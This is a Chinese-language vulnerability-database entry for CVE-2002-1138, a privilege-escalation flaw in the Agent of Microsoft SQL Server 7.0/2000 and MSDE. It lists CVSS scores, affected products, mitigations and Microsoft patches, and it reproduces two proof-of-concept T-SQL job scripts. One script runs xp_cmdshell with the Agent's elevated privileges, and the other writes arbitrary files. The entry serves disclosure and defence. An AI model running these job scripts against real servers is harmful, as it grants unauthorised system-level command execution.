CVE-2002-1138
CVSS7.5
发布时间 :2002-10-11 00:00:00
修订时间 :2008-09-10 15:13:56
NMCOS    

[原文]Microsoft SQL Server 7.0 and 2000, including Microsoft Data Engine (MSDE) 1.0 and Microsoft Desktop Engine (MSDE) 2000, writes output files for scheduled jobs under its own privileges instead of the entity that launched it, which allows attackers to overwrite system files, aka "Flaw in Output File Handling for Scheduled Jobs."


[CNNVD]Microsoft SQL Server Agent作业提交漏洞(MS02-043)(CNNVD-200210-275)

        
        Microsoft SQL Server是微软公司开发的一套商业数据库系统,应用在Microsoft Windows系统下。SQL Server 7.0和2000带了一个助手服务 - SQL Server Agent。这个代理程序用来在数据库意外停止之后重启之,另外,它也负责处理提交的作业。
        通过提交一些作业让Agent执行,可能导致低权限用户执行它们进而完全控制数据库系统。
        通过msdb数据库中的一些存储过程例如sp_add_job、sp_add_job_step等等,用户就可以提交作业让SQL Server Agent执行。由于SQL Server Agent在一个更高的权限下运行,通常是Local System权限,必须保证当提交一个T-SQL作业时它不能被滥用。因此管理员可以使用如下命令来防止这种攻击:
        SETUSER N'guest' WITH NORESET
        这样普通的低级别用户将不能提交这样的作业(执行系统命令):
        exec master..xp_cmdshell 'dir'
        但这种限制很容被绕过,只需要在SQL Server Agent丢弃权限后重新连接到SQL Server即可。而结合"Microsoft SQL Server扩展存储过程权限提升漏洞"( http://www.nsfocus.com/index.php?act=sec_bug&do=view&bug_id=3313 )中提到的几个扩展存储过程即可绕过这种限制。
        

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:microsoft:sql_server:2000:sp1Microsoft SQLServer 2000 Service Pack 1
cpe:/a:microsoft:data_engine:2000Microsoft data_engine 2000
cpe:/a:microsoft:data_engine:1.0Microsoft data_engine 1.0
cpe:/a:microsoft:sql_server:7.0:sp4Microsoft SQL Server 7.0 Service Pack 4
cpe:/a:microsoft:sql_server:7.0:sp1Microsoft SQL Server 7.0 Service Pack 1
cpe:/a:microsoft:sql_server:2000:sp2Microsoft SQLServer 2000 Service Pack 2
cpe:/a:microsoft:sql_server:7.0:sp3Microsoft SQL Server 7.0 Service Pack 3
cpe:/a:microsoft:sql_server:7.0:sp2Microsoft SQL Server 7.0 Service Pack 2
cpe:/a:microsoft:sql_server:2000Microsoft SQL Server 2000
cpe:/a:microsoft:sql_server:7.0Microsoft SQLServer 7.0

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1138
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-1138
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200210-275
(官方数据源) CNNVD

- 其它链接及资源

http://www.microsoft.com/technet/security/bulletin/ms02-056.asp
(VENDOR_ADVISORY)  MS  MS02-056
http://www.iss.net/security_center/static/10257.php
(VENDOR_ADVISORY)  XF  mssql-agent-create-files(10257)
http://www.ciac.org/ciac/bulletins/n-003.shtml
(UNKNOWN)  CIAC  N-003

- 漏洞信息

Microsoft SQL Server Agent作业提交漏洞(MS02-043)
高危 设计错误
2002-10-11 00:00:00 2006-09-01 00:00:00
远程  
        
        Microsoft SQL Server是微软公司开发的一套商业数据库系统,应用在Microsoft Windows系统下。SQL Server 7.0和2000带了一个助手服务 - SQL Server Agent。这个代理程序用来在数据库意外停止之后重启之,另外,它也负责处理提交的作业。
        通过提交一些作业让Agent执行,可能导致低权限用户执行它们进而完全控制数据库系统。
        通过msdb数据库中的一些存储过程例如sp_add_job、sp_add_job_step等等,用户就可以提交作业让SQL Server Agent执行。由于SQL Server Agent在一个更高的权限下运行,通常是Local System权限,必须保证当提交一个T-SQL作业时它不能被滥用。因此管理员可以使用如下命令来防止这种攻击:
        SETUSER N'guest' WITH NORESET
        这样普通的低级别用户将不能提交这样的作业(执行系统命令):
        exec master..xp_cmdshell 'dir'
        但这种限制很容被绕过,只需要在SQL Server Agent丢弃权限后重新连接到SQL Server即可。而结合"Microsoft SQL Server扩展存储过程权限提升漏洞"( http://www.nsfocus.com/index.php?act=sec_bug&do=view&bug_id=3313 )中提到的几个扩展存储过程即可绕过这种限制。
        

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * 数据库管理员应该禁止对MSDB数据库中的下列存储过程的公开(public)访问权限:
        sp_add_job
        sp_add_jobstep
        sp_add_jobserver
        sp_start_job
        厂商补丁:
        Microsoft
        ---------
        Microsoft已经为此发布了一个安全公告(MS02-043)以及相应补丁:
        MS02-043:Cumulative Patch for SQL Server (Q316333)
        链接:
        http://www.microsoft.com/technet/security/bulletin/MS02-043.asp

        补丁下载:
         * Microsoft SQL Server 7.0
        
        http://www.microsoft.com/Release.asp?ReleaseID=Q327068

         * Microsoft SQL Server 2000
        
        http://www.microsoft.com/Release.asp?ReleaseID=Q316333

- 漏洞信息

10139
Microsoft SQL Server Agent Arbitrary File Creation

- 漏洞描述

Unknown or Incomplete

- 时间线

2002-10-02 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Microsoft SQL Agent Jobs Privilege Elevation Vulnerability
Design Error 5483
Yes No
2002-08-15 12:00:00 2009-07-11 03:56:00
Reported by "David Litchfield" <david@ngssoftware.com>.

- 受影响的程序版本

Microsoft SQL Server 2000 SP2
Microsoft SQL Server 2000 SP1
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows NT 4.0 SP6
- Microsoft Windows NT 4.0 SP5
Microsoft SQL Server 2000
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows NT 4.0 SP6
- Microsoft Windows NT 4.0 SP5
- Microsoft Windows NT 4.0
Microsoft SQL Server 7.0 SP4
- Microsoft SQL Server 7.0
- Microsoft SQL Server 7.0
Microsoft SQL Server 7.0 SP3
- Microsoft SQL Server 7.0
- Microsoft SQL Server 7.0
Microsoft SQL Server 7.0 SP2
- Microsoft SQL Server 7.0
- Microsoft SQL Server 7.0
Microsoft SQL Server 7.0 SP1
- Microsoft SQL Server 7.0
- Microsoft SQL Server 7.0
Microsoft SQL Server 7.0
- Microsoft BackOffice 4.5
- Microsoft BackOffice 4.5
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows NT 4.0 SP6
- Microsoft Windows NT 4.0 SP6
- Microsoft Windows NT 4.0 SP5
- Microsoft Windows NT 4.0 SP5
- Microsoft Windows NT 4.0 SP4
- Microsoft Windows NT 4.0 SP4
- Microsoft Windows NT 4.0 SP3
- Microsoft Windows NT 4.0 SP3
- Microsoft Windows NT 4.0 SP2
- Microsoft Windows NT 4.0 SP2
- Microsoft Windows NT 4.0 SP1
- Microsoft Windows NT 4.0 SP1
- Microsoft Windows NT 4.0
- Microsoft Windows NT 4.0
Microsoft Data Engine 2000
+ Akiva WebBoard 6.1
+ BindView bv-Admin for Microsoft Exchange
+ BindView bv-Admin for Windows 7.0
+ BindView bv-Admin for Windows Migration
+ BindView bv-control for Active Directory 7.0.2
+ BindView bv-Control for Internet Security 7.0.1
+ BindView bv-Control for Microsoft Exchange 7.0
+ BindView bv-Control for Microsoft SQL Server 7.0.1
+ BindView bv-Control for Microsoft SQL Server 7.0
+ BindView bv-Control for Windows 7.0.2
+ CARI-RUSCO Secure Perfect 3.0
+ CCH Equity Compliance Insider Reporting Module
+ Collins Medical Plus 2000
+ Computer Associates Unicenter
+ Computer Associates Unicenter RC/Update 6.1
+ Computer Associates Unicenter RC/Update 6.0
+ CSIRO BioLink Software 1.5
+ DATA.TXT Corporation Time Matters 4.0
+ DATA.TXT Corporation Time Matters 3.0
+ Dell OpenManage IT Assistant 6.0
+ Dell OpenManage IT Assistant 5.0
+ Express Metrix Express Software Manager 6.0.2
+ Express Metrix Express Software Manager 6.0.1
+ Express Metrix Express Software Manager 6.0
+ Express Metrix Express Software Manager 5.0
+ Fluke Networks Optiview Network Inspector 5.0
+ HP Openview Internet Services 4.5
+ HP Openview Internet Services 4.0
+ HP Openview Operations for Windows 7.1
+ HP Openview Operations for Windows 7.0
+ HP Openview Operations for Windows 6.0
+ HP Openview Reporter 3.0
+ HP Openview Reporter 2.0.2
+ ISI Infortel for Windows 5.4
+ ISI Infortel for Windows 5.2
+ ISI Infortel for Windows 5.1
+ ISI Infortel for Windows 4.0
+ Journyx Timesheet 5.0
+ Journyx Timesheet 4.6
+ Journyx Timesheet 4.5 m3
+ Journyx Timesheet 4.5 m2
+ Journyx Timesheet 4.5
+ Journyx Timesheet 2.0
+ Microsoft .NET Framework 1.1
+ Microsoft .NET Framework 1.0 SP1
+ Microsoft .NET Framework 1.0
+ Microsoft .NET Framework SDK 1.0
+ Microsoft Application Center 2000
+ Microsoft Biztalk Server 2002 Partner Edition 0
+ Microsoft FrontPage 2000 Server Extensions SR 1.3
+ Microsoft FrontPage 2000 Server Extensions SR 1.2
+ Microsoft FrontPage 2000 Server Extensions SR 1.1
+ Microsoft FrontPage 2000 Server Extensions SR 1.0
+ Microsoft Great Plains 5.5.1
+ Microsoft Great Plains 7.0
+ Microsoft Great Plains 5.5
+ Microsoft Great Plains 5.0
+ Microsoft Office 2000 SP2
+ Microsoft Office 2000 SP1
+ Microsoft Office 2000
+ Microsoft Office 2000 Chinese Version
+ Microsoft Office 2000 Japanese Version
+ Microsoft Office 2000 Korean Version
+ Microsoft Office XP SP1
+ Microsoft Office XP
+ Microsoft Office XP Developer Edition
+ Microsoft Project Central Server
+ Microsoft SharePoint Portal Server 2001 SP1
+ Microsoft SharePoint Portal Server 2001
+ Microsoft SharePoint Team Services from Microsoft
+ Microsoft SQL Server 2000 SP3
+ Microsoft SQL Server 2000 SP2
+ Microsoft SQL Server 2000 SP1
+ Microsoft SQL Server 2000
+ Microsoft Visio 2000 Enterprise Edition
+ Microsoft Visio Enterprise Network Tools
+ Microsoft Visual FoxPro 7.0 SP1
+ Microsoft Visual FoxPro 7.0
+ Microsoft Visual FoxPro 6.0
+ Microsoft Visual Studio .NET Academic Edition 0
+ Microsoft Visual Studio .NET Enterprise Architect Edition
+ Microsoft Visual Studio .NET Enterprise Developer Edition
+ Microsoft Visual Studio .NET Professional Edition
+ Microsoft Visual Studio .NET Trial Edition 0
+ Microsoft Windows Server 2003 Standard Edition
+ Microsoft Windows XP Embedded SP1
+ Microsoft Windows XP Embedded
+ MIP NonProfit Series Pro 4.5
+ MIP NonProfit Series Pro 4.4
+ MIP NonProfit Series Pro 4.3
+ NetSupport NetSupport TCO 4.5.1
+ NetSupport NetSupport TCO 4.5
+ Network Associates SupportMagic SQL 4.5
+ Okena StormWatch
+ Peachtree Software Timeslips 11.0
+ Peachtree Software Timeslips 10.0
+ Peachtree Software Timeslips 9.0
+ Peachtree Software Timeslips 9.0
+ Peachtree Software Timeslips 8.0
+ Peachtree Software Timeslips 7.0
+ Peachtree Software Timeslips 6.0
+ QiNetix CommVault Galaxy 4.0.1
+ SalesLogix Corporation SalesLogix 2000.0
+ SmartMax Software MailMax 5.0
+ TeleStream FlipFactory 3.0
+ TeleStream FlipFactory 2.0
+ TeleStream FlipFactory 1.2
+ Veritas Software Backup Exec for Windows Servers 9.0
+ VIGILANTe SecureScan NX 2.5
+ Visionary Systems Firehouse Software 5.4
+ Visionary Systems Firehouse Software 5.0.2 5
+ Visionary Systems Firehouse Software 5.0
+ Visionary Systems Firehouse Software 3.0.5
+ Wonderware InTouch 7.11
+ Xerox CentreWare Web 1.0
Microsoft Data Engine (MSDE) 1.0
+ Affymetrix Microarray Suite Software 5.0.1
+ Affymetrix Microarray Suite Software 5.0.1
+ Affymetrix Microarray Suite Software 5.0.1
+ Affymetrix Microarray Suite Software 5.0
+ Affymetrix Microarray Suite Software 5.0
+ Affymetrix Microarray Suite Software 5.0
+ Altiris Deployment Server 5.5
+ Altiris Deployment Server 5.5
+ Altiris Deployment Server 5.5
+ Altiris Deployment Server 5.0.1
+ Altiris Deployment Server 5.0.1
+ Altiris Deployment Server 5.0.1
+ Centennial UK Ltd Centennial Discovery 4.4
+ Centennial UK Ltd Centennial Discovery 4.4
+ Centennial UK Ltd Centennial Discovery 4.4
+ Compaq Insight Manager 7.0 SP1
+ Compaq Insight Manager 7.0 SP1
+ Compaq Insight Manager 7.0 SP1
+ Compaq Insight Manager 7.0
+ Compaq Insight Manager 7.0
+ Compaq Insight Manager 7.0
+ Gerber Technology WebPDM 3.9
+ Gerber Technology WebPDM 3.9
+ Gerber Technology WebPDM 3.9
+ McAfee ePolicy Orchestrator 2.5 SP1
+ McAfee ePolicy Orchestrator 2.5 SP1
+ McAfee ePolicy Orchestrator 2.5 SP1
+ McAfee ePolicy Orchestrator 2.5
+ McAfee ePolicy Orchestrator 2.5
+ McAfee ePolicy Orchestrator 2.5
+ McAfee ePolicy Orchestrator 2.0
+ McAfee ePolicy Orchestrator 2.0
+ McAfee ePolicy Orchestrator 2.0
+ McAfee ePolicy Orchestrator 1.1
+ McAfee ePolicy Orchestrator 1.1
+ McAfee ePolicy Orchestrator 1.1
+ McAfee ePolicy Orchestrator 1.0
+ McAfee ePolicy Orchestrator 1.0
+ McAfee ePolicy Orchestrator 1.0
- Microsoft Access 2000
- Microsoft Access 2000
- Microsoft Access 2000
- Microsoft Project Central Server
- Microsoft Project Central Server
- Microsoft Project Central Server
+ Microsoft SharePoint Team Services from Microsoft
+ Microsoft SharePoint Team Services from Microsoft
+ Microsoft SharePoint Team Services from Microsoft
- Microsoft Visual Studio 6.0
- Microsoft Visual Studio 6.0
- Microsoft Visual Studio 6.0
+ PowerQuest ControlCenter ST 2.0
+ PowerQuest ControlCenter ST 2.0
+ PowerQuest ControlCenter ST 2.0
+ PPM 2000 Incident Reporting and Investigation Management 5.1
+ PPM 2000 Incident Reporting and Investigation Management 5.1
+ PPM 2000 Incident Reporting and Investigation Management 5.1
+ Research In Motion Blackberry Enterprise Server 2.0 .0.65
+ Research In Motion Blackberry Enterprise Server 2.0 .0.65
+ Research In Motion Blackberry Enterprise Server 2.0 .0.65
+ Trend Micro Control Manager 2.5
+ Trend Micro Control Manager 2.5
+ Trend Micro Control Manager 2.5
+ Trend Micro Damage Cleanup Server 1.0
+ Trend Micro Damage Cleanup Server 1.0
+ Trend Micro Damage Cleanup Server 1.0
+ Vital Processing Services LLC POS-partner 2000 5.0.13
+ Vital Processing Services LLC POS-partner 2000 5.0.13
+ Vital Processing Services LLC POS-partner 2000 5.0.13
+ Vital Processing Services LLC POS-partner 2000 4.1.11
+ Vital Processing Services LLC POS-partner 2000 4.1.11
+ Vital Processing Services LLC POS-partner 2000 4.1.11
+ Websense Reporter 6.3.1
+ Websense Reporter 6.3.1
+ Websense Reporter 6.3.1

- 漏洞讨论

Microsoft SQL Server 2000 uses an Agent which is responsible for restarting the SQL Server service, replication, and running scheduled jobs.

Some of the jobs that the Agent executes have weak permissions, which could allow a user with low permissions to perform actions on the database in the context of the SQL Server Service Account when used in conjunction with the Microsoft SQL Server Extended Stored Procedure Privilege Elevation Vulnerability (BID 5481).

- 漏洞利用

The following proof of concept code supplied by David Litchfield &lt;david@ngssoftware.com&gt; will give a user access to xp_cmdshell:

-- GetSystemOnSQL
-- For this to work the SQL Agent should be running.
-- Further, you'll need to change SERVER_NAME in
-- sp_add_jobserver to the SQL Server of your choice
--
-- David Litchfield
-- (david@ngssoftware.com)
-- 18th July 2002

USE msdb

EXEC sp_add_job @job_name = 'GetSystemOnSQL',
@enabled = 1,
@description = 'This will give a low privileged user access to
xp_cmdshell',
@delete_level = 1

EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',
@step_name = 'Exec my sql',
@subsystem = 'TSQL',
@command = 'exec master..xp_execresultset N''select ''''exec
master..xp_cmdshell "dir &gt; c:\agent-job-results.txt"'''''',N''Master'''

EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',
@server_name = 'SERVER_NAME'

EXEC sp_start_job @job_name = 'GetSystemOnSQL'

The following proof of concept code supplied by David Litchfield &lt;david@ngssoftware.com&gt; will create a file called c:\sqlafc123.txt:

-- ArbitraryFileCreate
-- For this to work the SQL Agent should be running.
-- Further, you'll need to change SERVER_NAME in
-- sp_add_jobserver to the SQL Server of your choice
--
-- David Litchfield
-- (david@ngssoftware.com)
-- 19th August 2002

USE msdb

EXEC sp_add_job @job_name = 'ArbitraryFileCreate',
@enabled = 1,
@description = 'This will create a file called c:\sqlafc123.txt',
@delete_level = 1

EXEC sp_add_jobstep @job_name = 'ArbitraryFileCreate',
@step_name = 'SQLAFC',
@subsystem = 'TSQL',
@command = 'select ''hello, this file was created by the SQL Agent.''',
@output_file_name = 'c:\sqlafc123.txt'

EXEC sp_add_jobserver @job_name = 'ArbitraryFileCreate',
@server_name = 'SERVER_NAME'

EXEC sp_start_job @job_name = 'ArbitraryFileCreate'

- 解决方案

Microsoft has revised Security Bulletin MS02-056. Microsoft recommends that users of SQL 2000 and MSDE 2000 apply the patch from MS02-061 which contains additional security fixes:


Microsoft SQL Server 2000

Microsoft SQL Server 7.0 SP1

Microsoft SQL Server 7.0 SP3

Microsoft SQL Server 7.0 SP4

Microsoft SQL Server 2000 SP1

Microsoft SQL Server 7.0 SP2

Microsoft SQL Server 2000 SP2

Microsoft SQL Server 7.0

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站